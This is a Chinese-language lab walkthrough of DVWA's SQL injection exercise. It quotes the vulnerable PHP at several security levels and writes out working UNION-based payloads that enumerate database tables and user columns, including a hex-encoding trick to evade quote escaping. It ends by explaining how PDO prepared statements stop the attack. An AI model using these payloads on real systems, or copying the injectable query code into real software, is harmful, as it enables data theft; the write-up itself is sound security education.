原理: 将恶意的sql语句拼接到合法的sql语句中。
类型: 字符型,数字型,搜索型。
注入流程:
实验前须知:
环境: dvwa搭建在win7 x64系统,IP为:192.168.157.137.
界面:
通过键入的id值,来确定身份,并回显。且级别不同,提交方式不同。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
分析:
键入id值,点击提交之后,不进行过滤,直接插入到数据库查询语句中。
解决思路:
走一遍sql注入的流程。
1'
并提交输入 1' and '1' = '1
,正常返回,1' and '1' ='2
,无返回结果
再次确定了此处为注入点,且注入类型为 字符型
确定显示的位置
1' union select 1,2#
1位置出现在firstname那一行,2位置出现在Surname那一行
得到数据库的版本以及使用的库名称。
1' union select version(),database()#
若只想看到需要的结果,可以把1
改为-1
-1' union select version(),database()#
得到数据库版本为5.5.53,且库名为dvwa。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
得到users表中的字段名,并且存在user和password这样的敏感信息,获得其中的数据。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. mysqli_connect_error() . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
解决思路:
得到数据库的版本以及使用的库名称。
-1 union select version(),database()#
得到数据库版本为5.5.53,且库名为dvwa。
由版本号可以知道,数据库存在information_schema库,可以通过其中的tables表查看当前库下的所有表名。
这里需要注意,因为过滤了表示字符串的单双引号,所以类似LOW级别的’dvwa’,无法通过
所以我们将其编译为16进制,或者是使用database()来代替这里的’dvwa’
16进制:
database():
获取目标表中的字段名
与dvwa相仿,将users转换为十六进制
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
得到users表中的字段名。
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
看起来简单了很多,甚至没有特殊字符过滤,添加了对输入个数的限制,只允许输入一个,又回到了字符型注入。界面变成了这样:
解决思路:
这样子点击打开新的界面来输入ID,是为了防止工具的自动化注入(sqlmap等),但是对手动注入影响不大。LIMIT 1,一个小小的#不就可以干掉?。
切记切记: 在High等级下,若出现错误显示,一定不能关那个小窗口,否则之后都会是这个界面,只能重装DVWA。
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
加了PDO的代码往往就是这么的朴实无华且枯燥无味。
解决思路:
如果有人解决了PDO,请告诉我一声,我愿称其为王!
普通的sql查询就是一条查询语句,将用户输入的与正常的参数拼接在一起,交给数据库进行查询,就像这篇博客低中高等级dvwa服务器的做法。
但是PDO是将用户输入的与sql语句相分离,语法为:
$pdo->prepare('select * from users where id=:id');
$pdo->execute([':id'=>4]);
服务器会先给数据库发送第一条语句,让数据库进行解析,在将用户输入的当做纯参数传给数据库,就算是恶意的,也不会运行。
我的一些理解:
没有PDO:
我在一栋大楼的一个房子里面,房东告诉我只能呆在这个房子里面,但是在他不注意的时候,我就悄悄溜出去,随意去别的房间转。
有PDO:
我在一个房子里,且这个房子独立于世界。